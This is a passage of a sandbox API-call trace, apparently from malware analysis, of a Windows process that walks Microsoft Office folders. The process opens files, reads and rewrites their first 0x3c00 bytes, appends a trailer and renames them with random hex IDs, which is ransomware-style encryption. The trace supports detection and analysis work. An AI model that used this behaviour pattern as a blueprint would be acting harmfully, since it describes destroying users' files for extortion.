dwFileAttributes=0x20) returned 1 [0166.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.dpv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a38 [0166.474] GetFileSizeEx (in: hFile=0x2a38, lpFileSize=0x3179f7a0 | out: lpFileSize=0x3179f7a0*=24706) returned 1 [0166.474] SetFilePointerEx (in: hFile=0x2a38, liDistanceToMove=0x607e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.474] ReadFile (in: hFile=0x2a38, lpBuffer=0x3179f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3179f768, lpOverlapped=0x0 | out: lpBuffer=0x3179f720*, lpNumberOfBytesRead=0x3179f768*=0x4, lpOverlapped=0x0) returned 1 [0166.494] SetFilePointerEx (in: hFile=0x2a38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3760 [0166.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4540 [0166.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0166.495] NtQuerySystemTime (in: CurrentTime=0x3179f660 | out: CurrentTime=0x3179f660*=132462177716074000) returned 0x0 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7cfa6ddb [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7d687ba3 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x64cb64b6 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x1eeb1492 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x20de046b [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x6395ad46 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0xf08da46 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7a239360 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7b4cdb59 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x1cd64f78 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x3f398b60 [0166.495] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x75be3643 [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x4978607f [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x74cea54a [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0xe4be584 [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7e13cfe [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x653db91a [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x6c28d96f [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x9d5cc4d [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x96f5190 [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x10059dde [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7e52e2c1 [0166.496] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x3d7a588a [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x67b9d8eb [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x455b10d2 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x247332a8 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x4a25f004 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x637b0aed [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x47fd6593 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x625782d5 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x52d99594 [0166.497] RtlRandomEx (in: Seed=0x3179f650 | out: Seed=0x3179f650) returned 0x7022e436 [0166.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6df0 [0166.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec60a0 [0166.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7000 [0166.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec60a0) returned 1 [0166.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0166.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0166.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a8be10 [0166.512] SetFilePointerEx (in: hFile=0x2a38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.512] ReadFile (in: hFile=0x2a38, lpBuffer=0x42a8be10, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3179f6c0, lpOverlapped=0x0 | out: lpBuffer=0x42a8be10*, lpNumberOfBytesRead=0x3179f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0175.605] SetFilePointerEx (in: hFile=0x2a38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059b00 [0175.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505010 [0175.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a960 [0175.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0175.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426f09e0 [0175.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a960 [0175.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b6e0 [0175.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b6e0) returned 1 [0175.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0175.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059b00) returned 1 [0175.609] WriteFile (in: hFile=0x2a38, lpBuffer=0x426f09e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3179f6c0, lpOverlapped=0x0 | out: lpBuffer=0x426f09e0*, lpNumberOfBytesWritten=0x3179f6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0184.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426f09e0) returned 1 [0184.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8be10) returned 1 [0184.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b861260 [0184.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19090 [0184.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c3c0 [0184.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0184.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0184.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f6a0 [0184.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0184.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500f50 [0184.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500f50) returned 1 [0184.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c3c0) returned 1 [0184.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19090) returned 1 [0184.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aad10 [0184.151] SetFilePointerEx (in: hFile=0x2a38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.151] WriteFile (in: hFile=0x2a38, lpBuffer=0x423aad10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3179f770, lpOverlapped=0x0 | out: lpBuffer=0x423aad10*, lpNumberOfBytesWritten=0x3179f770*=0x10a, lpOverlapped=0x0) returned 1 [0187.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c830 [0187.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ad30 [0187.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0e9e0 [0187.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134780 [0187.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134750 [0187.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134750) returned 1 [0187.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ad30) returned 1 [0187.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c830) returned 1 [0187.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5ebf0 [0187.851] sprintf (in: _Dest=0x1ce5ebf0, _Format="%c%c" | out: _Dest="b1") returned 2 [0187.851] sprintf (in: _Dest=0x1ce5ebf2, _Format="%c%c" | out: _Dest="6a") returned 2 [0187.851] sprintf (in: _Dest=0x1ce5ebf4, _Format="%c%c" | out: _Dest="0a") returned 2 [0187.851] sprintf (in: _Dest=0x1ce5ebf6, _Format="%c%c" | out: _Dest="ac") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ebf8, _Format="%c%c" | out: _Dest="8c") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ebfa, _Format="%c%c" | out: _Dest="16") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ebfc, _Format="%c%c" | out: _Dest="9f") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ebfe, _Format="%c%c" | out: _Dest="bc") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec00, _Format="%c%c" | out: _Dest="bd") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec02, _Format="%c%c" | out: _Dest="d4") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec04, _Format="%c%c" | out: _Dest="92") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec06, _Format="%c%c" | out: _Dest="f7") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec08, _Format="%c%c" | out: _Dest="bc") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec0a, _Format="%c%c" | out: _Dest="0a") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec0c, _Format="%c%c" | out: _Dest="ab") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec0e, _Format="%c%c" | out: _Dest="49") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec10, _Format="%c%c" | out: _Dest="3a") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec12, _Format="%c%c" | out: _Dest="b5") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec14, _Format="%c%c" | out: _Dest="7e") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec16, _Format="%c%c" | out: _Dest="82") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec18, _Format="%c%c" | out: _Dest="31") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec1a, _Format="%c%c" | out: _Dest="3b") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec1c, _Format="%c%c" | out: _Dest="b0") returned 2 [0187.852] sprintf (in: _Dest=0x1ce5ec1e, _Format="%c%c" | out: _Dest="6e") returned 2 [0187.852] RtlInitAnsiString (in: DestinationString=0x3179f7e8, SourceString="b16a0aac8c169fbcbdd492f7bc0aab493ab57e82313bb06e" | out: DestinationString="b16a0aac8c169fbcbdd492f7bc0aab493ab57e82313bb06e") [0187.852] RtlAnsiStringToUnicodeString (in: DestinationString=0x3179f7b8, SourceString="b16a0aac8c169fbcbdd492f7bc0aab493ab57e82313bb06e", AllocateDestinationString=1 | out: DestinationString="b16a0aac8c169fbcbdd492f7bc0aab493ab57e82313bb06e") returned 0x0 [0187.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203faf20 [0187.853] RtlFreeAnsiString (AnsiString="b") [0187.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ebf0) returned 1 [0187.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c0e9e0) returned 1 [0187.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134780) returned 1 [0187.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aad10) returned 1 [0187.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0187.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0187.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0187.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a960) returned 1 [0187.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4540) returned 1 [0187.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6df0) returned 1 [0187.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7000) returned 1 [0187.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1ce63470 [0187.859] wcscat (in: _Dest=0x1ce63470, _Source="b16a0aac8c16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16" [0187.859] wcscat (in: _Dest=0x1ce63470, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16.2f9b60" [0187.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16.2f9b60", NtPathName=0x3179f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\b16a0aac8c16.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0187.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37590 Thread: id = 2552 os_tid = 0x204c [0155.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce240a0 [0155.462] wcscpy (in: _Dest=0x1ce240a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0155.462] wcscat (in: _Dest=0x1ce240a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\" [0155.462] wcscat (in: _Dest=0x1ce240a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*" [0155.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98820 [0155.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5b00 [0155.464] wcscmp (_String1=".", _String2=".") returned 0 [0155.464] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.464] wcscmp (_String1="..", _String2=".") returned 1 [0155.464] wcscmp (_String1="..", _String2="..") returned 0 [0155.464] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1 [0155.464] wcscmp (_String1="MSN MoneyCentral Investor Currency Rates.iqy", _String2=".") returned 1 [0155.465] wcscmp (_String1="MSN MoneyCentral Investor Currency Rates.iqy", _String2="..") returned 1 [0155.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4205e3f0 [0155.465] wcscpy (in: _Dest=0x4205e3f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0155.465] wcscat (in: _Dest=0x4205e3f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\" [0155.465] wcscat (in: _Dest=0x4205e3f0, _Source="MSN MoneyCentral Investor Currency Rates.iqy" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy" [0159.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0159.192] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ce00, ftCreationTime.dwHighDateTime=0x1c2d8b4, ftLastAccessTime.dwLowDateTime=0xfa625270, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9aa4ce00, ftLastWriteTime.dwHighDateTime=0x1c2d8b4, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Major Indicies.iqy", cAlternateFileName="MSNMON~2.IQY")) returned 1 [0159.192] wcscmp (_String1="MSN MoneyCentral Investor Major Indicies.iqy", _String2=".") returned 1 [0159.192] wcscmp (_String1="MSN MoneyCentral Investor Major Indicies.iqy", _String2="..") returned 1 [0159.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118a20 [0159.192] wcscpy (in: _Dest=0x118a20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0159.192] wcscat (in: _Dest=0x118a20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\" [0159.193] wcscat (in: _Dest=0x118a20, _Source="MSN MoneyCentral Investor Major Indicies.iqy" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy" [0159.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e0 [0159.194] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="MSNMON~3.IQY")) returned 1 [0159.194] wcscmp (_String1="MSN MoneyCentral Investor Stock Quotes.iqy", _String2=".") returned 1 [0159.194] wcscmp (_String1="MSN MoneyCentral Investor Stock Quotes.iqy", _String2="..") returned 1 [0159.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118950 [0159.194] wcscpy (in: _Dest=0x118950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" [0159.194] wcscat (in: _Dest=0x118950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\" [0159.194] wcscat (in: _Dest=0x118950, _Source="MSN MoneyCentral Investor Stock Quotes.iqy" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy") returned="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy" [0159.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x118950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26e4 [0159.195] FindNextFileW (in: hFindFile=0x1ced5b00, lpFindFileData=0x1cd98820 | out: lpFindFileData=0x1cd98820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="MSNMON~3.IQY")) returned 0 [0159.195] FindClose (in: hFindFile=0x1ced5b00 | out: hFindFile=0x1ced5b00) returned 1 [0159.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98820) returned 1 [0159.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce240a0) returned 1 [0159.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 Thread: id = 2553 os_tid = 0x2050 [0155.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav")) returned 0x20 [0155.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV", dwFileAttributes=0x20) returned 1 [0155.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REMINDER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\reminder.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xed8 [0155.470] GetFileSizeEx (in: hFile=0xed8, lpFileSize=0x319dfa20 | out: lpFileSize=0x319dfa20*=108800) returned 1 [0155.470] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x1a8fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.470] ReadFile (in: hFile=0xed8, lpBuffer=0x319df9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x319df9e8, lpOverlapped=0x0 | out: lpBuffer=0x319df9a0*, lpNumberOfBytesRead=0x319df9e8*=0x4, lpOverlapped=0x0) returned 1 [0155.669] SetFilePointerEx (in: hFile=0xed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb300 [0155.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb330 [0155.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb360 [0155.670] NtQuerySystemTime (in: CurrentTime=0x319df8e0 | out: CurrentTime=0x319df8e0*=132462177607966000) returned 0x0 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x1f960a0c [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x321dcada [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x4f96ff5c [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x577afdfd [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x30bb6799 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x271fe32e [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x5a3e4c65 [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x104a490b [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x636d099f [0155.670] RtlRandomEx (in: Seed=0x319df8d0 | out: Seed=0x319df8d0) returned 0x61cda82 [0155.670] RtlRandomEx (in: 